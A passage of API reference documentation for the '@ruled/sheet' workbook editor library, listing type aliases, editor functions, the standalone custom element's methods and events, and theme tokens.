https://ruled.page/reference/api/ruled/sheet/type-aliases/localized/ ```ts type Localized = string | LocalizedMap; ``` Host-written text in one language or several: “Price” or { en: ‘Price’, de: ‘Preis’, ‘de-CH’: ‘Preis (CHF)’ }. The most specific match for the editor’s language is shown, then English, then the first. --- # MessageKey Source: https://ruled.page/reference/api/ruled/sheet/type-aliases/messagekey/ ```ts type MessageKey = keyof typeof en extends infer K ? K extends `${infer Base}_${PluralSuffix}` ? Base : K : never; ``` A message’s key as code uses it: plural forms share one (“rows” for rows_one and rows_other). --- # SaveResult Source: https://ruled.page/reference/api/ruled/sheet/type-aliases/saveresult/ ```ts type SaveResult = "saved" | "downloaded" | "cancelled" | "blocked" | "failed"; ``` What saving came to: handed to the host’s onSave, downloaded (without one), cancelled by the user, blocked by the schema’s checks, or failed (onSave threw, or the stored copy had changed). --- # SchemaValues Source: https://ruled.page/reference/api/ruled/sheet/type-aliases/schemavalues/ ```ts type SchemaValues = Record; tables: Record[]>; }>; ``` A workbook’s values in the shape of its schema: for each sheet the schema describes, each table’s records keyed by field, and each single cell. --- # SetTarget Source: https://ruled.page/reference/api/ruled/sheet/type-aliases/settarget/ ```ts type SetTarget = | { field: string; record: number; sheet: string; table: string; } | { ref: string; sheet: string; }; ``` --- # Severity Source: https://ruled.page/reference/api/ruled/sheet/type-aliases/severity/ ```ts type Severity = "error" | "warning"; ``` --- # TableRule Source: https://ruled.page/reference/api/ruled/sheet/type-aliases/tablerule/ ```ts type TableRule = (table, ctx) => | IssueInput[] | void | Promise< | IssueInput[] | void>; ``` ## Parameters |Parameter|Type| |-|-| |`table`|[`TableData`](https://ruled.page/reference/api/ruled/sheet/interfaces/tabledata.md)| |`ctx`|[`WorkbookData`](https://ruled.page/reference/api/ruled/sheet/interfaces/workbookdata.md)| ## Returns \| [`IssueInput`](https://ruled.page/reference/api/ruled/sheet/interfaces/issueinput.md)\[] | `void` | `Promise`< | [`IssueInput`](https://ruled.page/reference/api/ruled/sheet/interfaces/issueinput.md)\[] | `void`> --- # Text Source: https://ruled.page/reference/api/ruled/sheet/type-aliases/text/ ```ts type Text = string | Message | LocalizedMap; ``` Text to show: as written (from the workbook or the host), a message to translate, or host-written text in several languages. --- # TextMatch Source: https://ruled.page/reference/api/ruled/sheet/type-aliases/textmatch/ ```ts type TextMatch = | string | RegExp | { flags?: string; pattern: string; }; ``` Expected text. A plain string matches ignoring case and surrounding spaces; a pattern is a regular expression. --- # ThemeToken Source: https://ruled.page/reference/api/ruled/sheet/type-aliases/themetoken/ ```ts type ThemeToken = typeof THEME_TOKENS[number]; ``` --- # Translations Source: https://ruled.page/reference/api/ruled/sheet/type-aliases/translations/ ```ts type Translations = Readonly>>>; ``` Translations by language: whole catalogues, or a few messages to word differently. Keys are the English catalogue’s, with the plural forms the language needs (a Polish catalogue has rows_few and rows_many as well). --- # de Source: https://ruled.page/reference/api/ruled/sheet/variables/de/ ```ts const de: Record = deMessages; ``` The German messages. --- # en Source: https://ruled.page/reference/api/ruled/sheet/variables/en/ ```ts const en: Record = enMessages; ``` The English messages, every one, keyed as `translations` takes them: start a new language from a copy of it. --- # createWorkbookEditor Source: https://ruled.page/reference/api/ruled/sheet/functions/createworkbookeditor/ ```ts function createWorkbookEditor(options?): EditorHandle; ``` Creates an editor for a React host to render with . Call destroy() when it is no longer needed, which stops its worker. ## Parameters |Parameter|Type| |-|-| |`options`|[`EditorOptions`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md)| ## Returns [`EditorHandle`](https://ruled.page/reference/api/ruled/sheet/interfaces/editorhandle.md) --- # defineSchema Source: https://ruled.page/reference/api/ruled/sheet/functions/defineschema/ ```ts function defineSchema(schema): WorkbookSchema; ``` Identity helper so schema files get type checking and completion. ## Parameters |Parameter|Type| |-|-| |`schema`|[`WorkbookSchema`](https://ruled.page/reference/api/ruled/sheet/interfaces/workbookschema.md)| ## Returns [`WorkbookSchema`](https://ruled.page/reference/api/ruled/sheet/interfaces/workbookschema.md) --- # mountWorkbookEditor Source: https://ruled.page/reference/api/ruled/sheet/functions/mountworkbookeditor/ ```ts function mountWorkbookEditor(element, options?): EditorHandle; ``` Renders the editor into `element` without needing React in the host page. The element should have a height; the editor fills it. ## Parameters |Parameter|Type| |-|-| |`element`|`HTMLElement`| |`options`|[`EditorOptions`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md)| ## Returns [`EditorHandle`](https://ruled.page/reference/api/ruled/sheet/interfaces/editorhandle.md) --- # msg Source: https://ruled.page/reference/api/ruled/sheet/functions/msg/ ```ts function msg(key, params?): Message; ``` Makes a message for the editor to translate when it shows it: `msg('schema.check.required')`. ## Parameters |Parameter|Type| |-|-| |`key`|`string`| |`params?`|`Record`<`string`, `unknown`>| ## Returns [`Message`](https://ruled.page/reference/api/ruled/sheet/interfaces/message.md) --- # schemaFromJSON Source: https://ruled.page/reference/api/ruled/sheet/functions/schemafromjson/ ```ts function schemaFromJSON(text): WorkbookSchema; ``` Parses and sanity-checks a schema exported as JSON. Throws a TextError that says what is wrong: its `text` to show in the editor’s language, its `message` in English. ## Parameters |Parameter|Type| |-|-| |`text`|`string`| ## Returns [`WorkbookSchema`](https://ruled.page/reference/api/ruled/sheet/interfaces/workbookschema.md) --- # schemaToJSON Source: https://ruled.page/reference/api/ruled/sheet/functions/schematojson/ ```ts function schemaToJSON(schema): string; ``` The schema as JSON. Code hooks are dropped; regular expressions become { pattern, flags }. ## Parameters |Parameter|Type| |-|-| |`schema`|[`WorkbookSchema`](https://ruled.page/reference/api/ruled/sheet/interfaces/workbookschema.md)| ## Returns `string` --- # themeProperty Source: https://ruled.page/reference/api/ruled/sheet/functions/themeproperty/ ```ts function themeProperty(token): string; ``` The custom property behind a token: gridHeaderBg → –wbe-grid-header-bg. ## Parameters |Parameter|Type| |-|-| |`token`|`string`| ## Returns `string` --- # useEditorState Source: https://ruled.page/reference/api/ruled/sheet/functions/useeditorstate/ ```ts function useEditorState(editor): EditorState; ``` An editor’s state, re-rendering the component as it changes: for a host’s own unsaved badge, title or Save button. ## Parameters |Parameter|Type| |-|-| |`editor`|\| [`EditorHandle`](https://ruled.page/reference/api/ruled/sheet/interfaces/editorhandle.md) \| `null`| ## Returns [`EditorState`](https://ruled.page/reference/api/ruled/sheet/interfaces/editorstate.md) --- # useWorkbookEditor Source: https://ruled.page/reference/api/ruled/sheet/functions/useworkbookeditor/ ```ts function useWorkbookEditor(options?): | EditorHandle | null; ``` An editor for a React component: made when the component mounts and destroyed, with its worker, when it unmounts. It’s null on the first render, before it’s made, so render `` once it isn’t. - `file` is opened when the editor is ready, and again when it changes. - Theme, language, user, schemas and custom lists follow `options` as they change, without closing the workbook. A new array or object with the same entries isn’t a change, so they can be written inline. - `onSave`, `onEvent`, `onError` and `onLinkClick` can be new functions on every render: the editor calls the latest. Whether there’s an `onSave` at all is read when the editor is made. - Every other option is read when the editor is made. To change one, give the component a new `key`, which makes a new editor. ## Parameters |Parameter|Type| |-|-| |`options`|[`WorkbookEditorHookOptions`](https://ruled.page/reference/api/ruled/sheet/interfaces/workbookeditorhookoptions.md)| ## Returns \| [`EditorHandle`](https://ruled.page/reference/api/ruled/sheet/interfaces/editorhandle.md) | `null` --- # WorkbookEditor Source: https://ruled.page/reference/api/ruled/sheet/functions/workbookeditor/ ```ts function WorkbookEditor(__namedParameters): Element; ``` The workbook editor: toolbar, formula bar, grid, sheet tabs and panels. ## Parameters |Parameter|Type| |-|-| |`__namedParameters`|[`WorkbookEditorProps`](https://ruled.page/reference/api/ruled/sheet/interfaces/workbookeditorprops.md)| ## Returns `Element` --- # @ruled/sheet/standalone Source: https://ruled.page/reference/api/ruled/sheet/standalone/readme/ The self-contained build, React, the worker and the styles included, which defines the `` element when imported: `import '@ruled/sheet/standalone'`. ## Interfaces - [ChangeEventDetail](https://ruled.page/reference/api/ruled/sheet/standalone/interfaces/changeeventdetail.md) - [EditorErrorEventDetail](https://ruled.page/reference/api/ruled/sheet/standalone/interfaces/editorerroreventdetail.md) - [Message](https://ruled.page/reference/api/ruled/sheet/standalone/interfaces/message.md) - [OpenedEventDetail](https://ruled.page/reference/api/ruled/sheet/standalone/interfaces/openedeventdetail.md) - [SaveEventDetail](https://ruled.page/reference/api/ruled/sheet/standalone/interfaces/saveeventdetail.md) - [WorkbookEditorElement](https://ruled.page/reference/api/ruled/sheet/standalone/interfaces/workbookeditorelement.md) - [WorkbookEditorEventMap](https://ruled.page/reference/api/ruled/sheet/standalone/interfaces/workbookeditoreventmap.md) ## Variables - [de](https://ruled.page/reference/api/ruled/sheet/standalone/variables/de.md) - [en](https://ruled.page/reference/api/ruled/sheet/standalone/variables/en.md) ## Functions - [defineWorkbookEditorElement](https://ruled.page/reference/api/ruled/sheet/standalone/functions/defineworkbookeditorelement.md) - [mountWorkbookEditor](https://ruled.page/reference/api/ruled/sheet/standalone/functions/mountworkbookeditor.md) - [msg](https://ruled.page/reference/api/ruled/sheet/standalone/functions/msg.md) ## References ### CellChange Re-exports [CellChange](https://ruled.page/reference/api/ruled/sheet/interfaces/cellchange.md) *** ### CellSchema Re-exports [CellSchema](https://ruled.page/reference/api/ruled/sheet/interfaces/cellschema.md) *** ### Change Re-exports [Change](https://ruled.page/reference/api/ruled/sheet/interfaces/change.md) *** ### ChangeContext Re-exports [ChangeContext](https://ruled.page/reference/api/ruled/sheet/interfaces/changecontext.md) *** ### CheckResult Re-exports [CheckResult](https://ruled.page/reference/api/ruled/sheet/type-aliases/checkresult.md) *** ### CsvOptions Re-exports [CsvOptions](https://ruled.page/reference/api/ruled/sheet/interfaces/csvoptions.md) *** ### DeclarativeRule Re-exports [DeclarativeRule](https://ruled.page/reference/api/ruled/sheet/type-aliases/declarativerule.md) *** ### defineSchema Re-exports [defineSchema](https://ruled.page/reference/api/ruled/sheet/functions/defineschema.md) *** ### EditorFeatures Re-exports [EditorFeatures](https://ruled.page/reference/api/ruled/sheet/interfaces/editorfeatures.md) *** ### EditorHandle Re-exports [EditorHandle](https://ruled.page/reference/api/ruled/sheet/interfaces/editorhandle.md) *** ### EditorOptions Re-exports [EditorOptions](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md) *** ### FieldContext Re-exports [FieldContext](https://ruled.page/reference/api/ruled/sheet/interfaces/fieldcontext.md) *** ### FieldSchema Re-exports [FieldSchema](https://ruled.page/reference/api/ruled/sheet/interfaces/fieldschema.md) *** ### FieldType Re-exports [FieldType](https://ruled.page/reference/api/ruled/sheet/type-aliases/fieldtype.md) *** ### FieldValue Re-exports [FieldValue](https://ruled.page/reference/api/ruled/sheet/type-aliases/fieldvalue.md) *** ### HistoryEntry Re-exports [HistoryEntry](https://ruled.page/reference/api/ruled/sheet/interfaces/historyentry.md) *** ### IssueInput Re-exports [IssueInput](https://ruled.page/reference/api/ruled/sheet/interfaces/issueinput.md) *** ### JsonValue Re-exports [JsonValue](https://ruled.page/reference/api/ruled/sheet/type-aliases/jsonvalue.md) *** ### LinkClick Re-exports [LinkClick](https://ruled.page/reference/api/ruled/sheet/interfaces/linkclick.md) *** ### Localized Re-exports [Localized](https://ruled.page/reference/api/ruled/sheet/type-aliases/localized.md) *** ### MessageKey Re-exports [MessageKey](https://ruled.page/reference/api/ruled/sheet/type-aliases/messagekey.md) *** ### NumberOptions Re-exports [NumberOptions](https://ruled.page/reference/api/ruled/sheet/interfaces/numberoptions.md) *** ### RecordData Re-exports [RecordData](https://ruled.page/reference/api/ruled/sheet/interfaces/recorddata.md) *** ### SaveConflictError Re-exports [SaveConflictError](https://ruled.page/reference/api/ruled/sheet/classes/saveconflicterror.md) *** ### SavedWorkbook Re-exports [SavedWorkbook](https://ruled.page/reference/api/ruled/sheet/interfaces/savedworkbook.md) *** ### SaveResult Re-exports [SaveResult](https://ruled.page/reference/api/ruled/sheet/type-aliases/saveresult.md) *** ### schemaFromJSON Re-exports [schemaFromJSON](https://ruled.page/reference/api/ruled/sheet/functions/schemafromjson.md) *** ### schemaToJSON Re-exports [schemaToJSON](https://ruled.page/reference/api/ruled/sheet/functions/schematojson.md) *** ### SchemaValues Re-exports [SchemaValues](https://ruled.page/reference/api/ruled/sheet/type-aliases/schemavalues.md) *** ### SetTarget Re-exports [SetTarget](https://ruled.page/reference/api/ruled/sheet/type-aliases/settarget.md) *** ### Severity Re-exports [Severity](https://ruled.page/reference/api/ruled/sheet/type-aliases/severity.md) *** ### SheetData Re-exports [SheetData](https://ruled.page/reference/api/ruled/sheet/interfaces/sheetdata.md) *** ### SheetSchema Re-exports [SheetSchema](https://ruled.page/reference/api/ruled/sheet/interfaces/sheetschema.md) *** ### TableData Re-exports [TableData](https://ruled.page/reference/api/ruled/sheet/interfaces/tabledata.md) *** ### TableRule Re-exports [TableRule](https://ruled.page/reference/api/ruled/sheet/type-aliases/tablerule.md) *** ### TableSchema Re-exports [TableSchema](https://ruled.page/reference/api/ruled/sheet/interfaces/tableschema.md) *** ### Text Re-exports [Text](https://ruled.page/reference/api/ruled/sheet/type-aliases/text.md) *** ### TextMatch Re-exports [TextMatch](https://ruled.page/reference/api/ruled/sheet/type-aliases/textmatch.md) *** ### Translations Re-exports [Translations](https://ruled.page/reference/api/ruled/sheet/type-aliases/translations.md) *** ### WorkbookData Re-exports [WorkbookData](https://ruled.page/reference/api/ruled/sheet/interfaces/workbookdata.md) *** ### WorkbookSchema Re-exports [WorkbookSchema](https://ruled.page/reference/api/ruled/sheet/interfaces/workbookschema.md) --- # ChangeEventDetail Source: https://ruled.page/reference/api/ruled/sheet/standalone/interfaces/changeeventdetail/ Detail of the `change` event. ## Properties |Property|Type|Description| |-|-|-| |`editedCount`|`number`|Cells that differ from the file as it was opened.| |`unsaved`|`boolean`|Whether there are edits the host hasn’t received through a save.| --- # EditorErrorEventDetail Source: https://ruled.page/reference/api/ruled/sheet/standalone/interfaces/editorerroreventdetail/ Detail of the `editorerror` event. ## Properties |Property|Type|Description| |-|-|-| |`message`|`string`|What went wrong, in the editor’s language.| --- # Message Source: https://ruled.page/reference/api/ruled/sheet/standalone/interfaces/message/ A message for the editor to translate when it shows it: a key of the catalogues, such as `'toolbar.save'` (typed as `MessageKey` in the package), and the values for its placeholders. ## Properties |Property|Type| |-|-| |`key`|`string`| |`params?`|`Record`<`string`, `unknown`>| --- # OpenedEventDetail Source: https://ruled.page/reference/api/ruled/sheet/standalone/interfaces/openedeventdetail/ Detail of the `opened` event. ## Properties |Property|Type| |-|-| |`fileName`|`string`| --- # SaveEventDetail Source: https://ruled.page/reference/api/ruled/sheet/standalone/interfaces/saveeventdetail/ Detail of the `save` event when the element handles saving through events. ## Extends - [`SavedWorkbook`](https://ruled.page/reference/api/ruled/sheet/interfaces/savedworkbook.md) ## Properties |Property|Type|Description|Inherited from| |-|-|-|-| |`bytes`|`Uint8Array`|-|[`SavedWorkbook`](https://ruled.page/reference/api/ruled/sheet/interfaces/savedworkbook.md).[`bytes`](https://ruled.page/reference/api/ruled/sheet/interfaces/savedworkbook.md#property-bytes)| |`changes`|[`CellChange`](https://ruled.page/reference/api/ruled/sheet/interfaces/cellchange.md)\[]|Each change with its value when opened and now.|[`SavedWorkbook`](https://ruled.page/reference/api/ruled/sheet/interfaces/savedworkbook.md).[`changes`](https://ruled.page/reference/api/ruled/sheet/interfaces/savedworkbook.md#property-changes)| |`editedCount`|`number`|Changes since the workbook was opened: cells, plus any rows or columns inserted or deleted, or cells moved.|[`SavedWorkbook`](https://ruled.page/reference/api/ruled/sheet/interfaces/savedworkbook.md).[`editedCount`](https://ruled.page/reference/api/ruled/sheet/interfaces/savedworkbook.md#property-editedcount)| |`fileName`|`string`|-|[`SavedWorkbook`](https://ruled.page/reference/api/ruled/sheet/interfaces/savedworkbook.md).[`fileName`](https://ruled.page/reference/api/ruled/sheet/interfaces/savedworkbook.md#property-filename)| |`history`|[`HistoryEntry`](https://ruled.page/reference/api/ruled/sheet/interfaces/historyentry.md)\[]|What was done, by whom and when, oldest first; actions are in the editor’s language.|[`SavedWorkbook`](https://ruled.page/reference/api/ruled/sheet/interfaces/savedworkbook.md).[`history`](https://ruled.page/reference/api/ruled/sheet/interfaces/savedworkbook.md#property-history)| |`outOfDate`|`object`\[]|Formulas whose saved value may be out of date: this editor can’t calculate them, a cell they depend on changed, and they still hold Excel’s last result (as does any formula reading one). Excel recalculates them when the file is next opened; until then, don’t rely on their values.|[`SavedWorkbook`](https://ruled.page/reference/api/ruled/sheet/interfaces/savedworkbook.md).[`outOfDate`](https://ruled.page/reference/api/ruled/sheet/interfaces/savedworkbook.md#property-outofdate)| |`schema?`|`object`|The schema the workbook was checked against, and what it found, when one applied.|[`SavedWorkbook`](https://ruled.page/reference/api/ruled/sheet/interfaces/savedworkbook.md).[`schema`](https://ruled.page/reference/api/ruled/sheet/interfaces/savedworkbook.md#property-schema)| |`schema.errors`|`number`|-|-| |`schema.id`|`string`|-|-| |`schema.name`|`string`|-|-| |`schema.version?`|`string`|-|-| |`schema.warnings`|`number`|-|-| |`values?`|[`SchemaValues`](https://ruled.page/reference/api/ruled/sheet/type-aliases/schemavalues.md)|The values in the shape of that schema: each table’s records by field, each single cell.|[`SavedWorkbook`](https://ruled.page/reference/api/ruled/sheet/interfaces/savedworkbook.md).[`values`](https://ruled.page/reference/api/ruled/sheet/interfaces/savedworkbook.md#property-values)| ## Methods ### cell() ```ts cell(sheet, ref): JsonValue; ``` Any cell’s value as JSON, e.g. cell(‘Data’, ‘B4’); dates come back as ISO text. #### Parameters |Parameter|Type| |-|-| |`sheet`|`string`| |`ref`|`string`| #### Returns [`JsonValue`](https://ruled.page/reference/api/ruled/sheet/type-aliases/jsonvalue.md) #### Inherited from [`SavedWorkbook`](https://ruled.page/reference/api/ruled/sheet/interfaces/savedworkbook.md).[`cell`](https://ruled.page/reference/api/ruled/sheet/interfaces/savedworkbook.md#cell) *** ### range() ```ts range(sheet, ref?): JsonValue[][]; ``` A range’s values row by row, e.g. range(‘Data’, ‘A1:F200’); without a range, the sheet’s used range. #### Parameters |Parameter|Type| |-|-| |`sheet`|`string`| |`ref?`|`string`| #### Returns [`JsonValue`](https://ruled.page/reference/api/ruled/sheet/type-aliases/jsonvalue.md)\[]\[] #### Inherited from [`SavedWorkbook`](https://ruled.page/reference/api/ruled/sheet/interfaces/savedworkbook.md).[`range`](https://ruled.page/reference/api/ruled/sheet/interfaces/savedworkbook.md#range) *** ### waitUntil() ```ts waitUntil(promise): void; ``` Keep the save pending until `promise` settles; a rejection is shown as the error. #### Parameters |Parameter|Type| |-|-| |`promise`|`Promise`<`unknown`>| #### Returns `void` --- # WorkbookEditorElement Source: https://ruled.page/reference/api/ruled/sheet/standalone/interfaces/workbookeditorelement/ The element: what hosts can set, call and listen to. ## Extends - `HTMLElement` ## Properties |Property|Modifier|Type|Description| |-|-|-|-| |`editedCount`|`readonly`|`number`|-| |`fileName`|`readonly`|`string`|-| |`options`|`public`|[`EditorOptions`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md)|Editor options. Changing the theme, language, user or schemas of a connected element applies them as it is; changing anything else re-creates the editor, closing the workbook.| |`status`|`readonly`|`"error"` \| `"empty"` \| `"loading"` \| `"ready"`|-| |`unsaved`|`readonly`|`boolean`|-| ## Methods ### addEventListener() #### Call Signature ```ts addEventListener( type, listener, options? ): void; ``` ##### Type Parameters |Type Parameter| |-| |`K` *extends* keyof [`WorkbookEditorEventMap`](https://ruled.page/reference/api/ruled/sheet/standalone/interfaces/workbookeditoreventmap.md)| ##### Parameters |Parameter|Type| |-|-| |`type`|`K`| |`listener`|(`this`, `ev`) => `unknown`| |`options?`|`boolean` \| `AddEventListenerOptions`| ##### Returns `void` ##### Overrides ```ts HTMLElement.addEventListener ``` #### Call Signature ```ts addEventListener( type, listener, options? ): void; ``` ##### Parameters |Parameter|Type| |-|-| |`type`|`string`| |`listener`|`EventListenerOrEventListenerObject`| |`options?`|`boolean` \| `AddEventListenerOptions`| ##### Returns `void` ##### Overrides ```ts HTMLElement.addEventListener ``` *** ### downloadCopy() ```ts downloadCopy(): Promise; ``` Downloads a copy as .xlsx without saving it to the host. #### Returns `Promise`<`void`> *** ### downloadCsv() ```ts downloadCsv(options?): Promise; ``` Downloads the sheet shown as a CSV file, with values that would run as formulas escaped unless `escapeFormulas` is false. #### Parameters |Parameter|Type| |-|-| |`options?`|[`CsvOptions`](https://ruled.page/reference/api/ruled/sheet/interfaces/csvoptions.md)| #### Returns `Promise`<`void`> *** ### getCsv() ```ts getCsv(options?): Promise; ``` The sheet shown as CSV text; undefined when it isn’t a worksheet. #### Parameters |Parameter|Type| |-|-| |`options?`|[`CsvOptions`](https://ruled.page/reference/api/ruled/sheet/interfaces/csvoptions.md)| #### Returns `Promise`<`string` | `undefined`> *** ### getWorkbook() ```ts getWorkbook(): Promise< | SavedWorkbook | undefined>; ``` The workbook as it is now, as a save would hand it over, without the save checks. #### Returns `Promise`< | [`SavedWorkbook`](https://ruled.page/reference/api/ruled/sheet/interfaces/savedworkbook.md) | `undefined`> *** ### goTo() ```ts goTo(ref): void; ``` Selects a cell or range, such as “B4” or “Prices!A1:C3”, and shows it. #### Parameters |Parameter|Type| |-|-| |`ref`|`string`| #### Returns `void` *** ### open() ```ts open(bytes, fileName): Promise; ``` Opens a workbook or CSV file: true once open, false when the user kept the one already open; rejects saying why it can’t. #### Parameters |Parameter|Type| |-|-| |`bytes`|`ArrayBuffer` \| `Uint8Array`<`ArrayBufferLike`>| |`fileName`|`string`| #### Returns `Promise`<`boolean`> *** ### registerSchema() ```ts registerSchema(schema): void; ``` #### Parameters |Parameter|Type| |-|-| |`schema`|[`WorkbookSchema`](https://ruled.page/reference/api/ruled/sheet/interfaces/workbookschema.md)| #### Returns `void` *** ### removeEventListener() #### Call Signature ```ts removeEventListener( type, listener, options? ): void; ``` ##### Type Parameters |Type Parameter| |-| |`K` *extends* keyof [`WorkbookEditorEventMap`](https://ruled.page/reference/api/ruled/sheet/standalone/interfaces/workbookeditoreventmap.md)| ##### Parameters |Parameter|Type| |-|-| |`type`|`K`| |`listener`|(`this`, `ev`) => `unknown`| |`options?`|`boolean` \| `EventListenerOptions`| ##### Returns `void` ##### Overrides ```ts HTMLElement.removeEventListener ``` #### Call Signature ```ts removeEventListener( type, listener, options? ): void; ``` ##### Parameters |Parameter|Type| |-|-| |`type`|`string`| |`listener`|`EventListenerOrEventListenerObject`| |`options?`|`boolean` \| `EventListenerOptions`| ##### Returns `void` ##### Overrides ```ts HTMLElement.removeEventListener ``` *** ### removeSchema() ```ts removeSchema(id): void; ``` #### Parameters |Parameter|Type| |-|-| |`id`|`string`| #### Returns `void` *** ### save() ```ts save(): Promise; ``` Runs the save flow (schema checks, then the `save` event or a download), resolving with what happened. #### Returns `Promise`<[`SaveResult`](https://ruled.page/reference/api/ruled/sheet/type-aliases/saveresult.md)> *** ### setCustomLists() ```ts setCustomLists(lists): void; ``` #### Parameters |Parameter|Type| |-|-| |`lists`|`string`\[]\[] \| `undefined`| #### Returns `void` *** ### setLanguage() ```ts setLanguage(language): void; ``` #### Parameters |Parameter|Type| |-|-| |`language`|`string`| #### Returns `void` *** ### setTheme() ```ts setTheme(theme): void; ``` #### Parameters |Parameter|Type| |-|-| |`theme`|\| `Partial`<`Record`< \| `"warning"` \| `"text"` \| `"colorScheme"` \| `"accent"` \| `"accentStrong"` \| `"accentSoft"` \| `"accentBorder"` \| `"accentTint"` \| `"onAccent"` \| `"surface"` \| `"surfaceAlt"` \| `"surfaceSunken"` \| `"backdrop"` \| `"focusRing"` \| `"textMuted"` \| `"textSubtle"` \| `"border"` \| `"borderStrong"` \| `"neutral"` \| `"success"` \| `"successSoft"` \| `"successBorder"` \| `"successText"` \| `"warningSoft"` \| `"warningBorder"` \| `"warningText"` \| `"warningAccent"` \| `"danger"` \| `"dangerSoft"` \| `"dangerBorder"` \| `"onDanger"` \| `"infoSoft"` \| `"infoText"` \| `"infoAccent"` \| `"infoBannerBg"` \| `"infoBannerBorder"` \| `"infoBannerText"` \| `"fieldSoft"` \| `"fieldText"` \| `"noteSoft"` \| `"noteText"` \| `"noteBorder"` \| `"noteTipBg"` \| `"noteTipBorder"` \| `"placeholderBg"` \| `"placeholderBorder"` \| `"placeholderText"` \| `"placeholderTextMuted"` \| `"dropzoneBorder"` \| `"dropzoneHoverBg"` \| `"gridBg"` \| `"gridText"` \| `"gridTextOnFill"` \| `"gridLine"` \| `"gridBorderAuto"` \| `"gridFreezeLine"` \| `"gridHeaderBg"` \| `"gridHeaderText"` \| `"gridHeaderLine"` \| `"gridHeaderHoverBg"` \| `"gridHeaderSelectedBg"` \| `"gridHeaderSelectedText"` \| `"gridRowHeaderText"` \| `"gridTextMuted"` \| `"gridTextLight"` \| `"gridBgAlt"` \| `"gridCutFill"` \| `"gridSelection"` \| `"gridSelectionFill"` \| `"gridEditedFill"` \| `"gridEditedMark"` \| `"gridLockedFill"` \| `"gridLabelFill"` \| `"gridErrorMark"` \| `"gridWarningMark"` \| `"gridPendingMark"` \| `"gridNoteMark"` \| `"gridStaleMark"` \| `"gridUnsupportedMark"` \| `"gridSpillLine"` \| `"gridDropdownArrow"` \| `"gridLink"` \| `"gridFont"` \| `"gridHeaderFont"` \| `"gridHeaderFontSize"` \| `"gridHeaderFontWeight"` \| `"formulaRef1"` \| `"formulaRef2"` \| `"formulaRef3"` \| `"formulaRef4"` \| `"formulaRef5"` \| `"formulaRef6"` \| `"formulaRef7"` \| `"chartColors"` \| `"font"` \| `"fontMono"` \| `"fontSize"` \| `"fontSizeXs"` \| `"fontSizeSm"` \| `"fontSizeMd"` \| `"fontSizeLg"` \| `"fontSizeXl"` \| `"iconStrokeWidth"` \| `"radius"` \| `"radiusSm"` \| `"radiusLg"` \| `"shadow"` \| `"shadowSm"`, `string`>> \| `undefined`| #### Returns `void` *** ### setUser() ```ts setUser(user): void; ``` #### Parameters |Parameter|Type| |-|-| |`user`|`string` \| `undefined`| #### Returns `void` --- # WorkbookEditorEventMap Source: https://ruled.page/reference/api/ruled/sheet/standalone/interfaces/workbookeditoreventmap/ The events fires, for typed listeners. ## Extends - `HTMLElementEventMap` ## Properties |Property|Type|Description|Overrides| |-|-|-|-| |`change`|`CustomEvent`<[`ChangeEventDetail`](https://ruled.page/reference/api/ruled/sheet/standalone/interfaces/changeeventdetail.md)>|-|`HTMLElementEventMap.change`| |`editorerror`|`CustomEvent`<[`EditorErrorEventDetail`](https://ruled.page/reference/api/ruled/sheet/standalone/interfaces/editorerroreventdetail.md)>|The workbook from `src` couldn’t be loaded or opened, or the editor stopped working.|-| |`opened`|`CustomEvent`<[`OpenedEventDetail`](https://ruled.page/reference/api/ruled/sheet/standalone/interfaces/openedeventdetail.md)>|A workbook has opened.|-| |`ready`|`CustomEvent`<`void`>|The editor is ready for a workbook.|-| |`save`|`CustomEvent`<[`SaveEventDetail`](https://ruled.page/reference/api/ruled/sheet/standalone/interfaces/saveeventdetail.md)>|-|-| --- # de Source: https://ruled.page/reference/api/ruled/sheet/standalone/variables/de/ ```ts const de: Record = deMessages; ``` The German messages. --- # en Source: https://ruled.page/reference/api/ruled/sheet/standalone/variables/en/ ```ts const en: Record = enMessages; ``` The English messages, every one, keyed as `translations` takes them: start a new language from a copy of it. --- # defineWorkbookEditorElement Source: https://ruled.page/reference/api/ruled/sheet/standalone/functions/defineworkbookeditorelement/ ```ts function defineWorkbookEditorElement(mount, tagName?): void; ``` Defines , usable from any framework or plain HTML. Attributes: `src` (URL of a workbook or CSV file to open), `file-name`, and `save-handler="event"` to receive saves as `save` events instead of a download. Properties: `options` (editor options). Methods: open(), save(), downloadCopy(), getWorkbook(), downloadCsv(), getCsv(), goTo(), registerSchema(), removeSchema(), setTheme(), setLanguage(), setUser(), setCustomLists(). Events: `ready`, `opened` (detail: { fileName }), `change` (detail: { editedCount, unsaved }), `save` (detail: the saved workbook with its bytes, changes, values and readers; call `detail.waitUntil(promise)` to keep the save pending while you store it), and `editorerror` (detail: { message }) when a workbook from `src` can’t be loaded or opened, or the editor stops working. ## Parameters |Parameter|Type|Default value| |-|-|-| |`mount`|`Mount`|`undefined`| |`tagName`|`string`|`'workbook-editor'`| ## Returns `void` --- # mountWorkbookEditor Source: https://ruled.page/reference/api/ruled/sheet/standalone/functions/mountworkbookeditor/ ```ts function mountWorkbookEditor(element, options?): EditorHandle; ``` ## Parameters |Parameter|Type| |-|-| |`element`|`HTMLElement`| |`options`|[`EditorOptions`](https://ruled.page/reference/api/ruled/sheet/interfaces/editoroptions.md)| ## Returns [`EditorHandle`](https://ruled.page/reference/api/ruled/sheet/interfaces/editorhandle.md) --- # msg Source: https://ruled.page/reference/api/ruled/sheet/standalone/functions/msg/ ```ts function msg(key, params?): Message; ``` Makes a message for the editor to translate when it shows it: `msg('schema.check.required')`. ## Parameters |Parameter|Type| |-|-| |`key`|`string`| |`params?`|`Record`<`string`, `unknown`>| ## Returns [`Message`](https://ruled.page/reference/api/ruled/sheet/standalone/interfaces/message.md)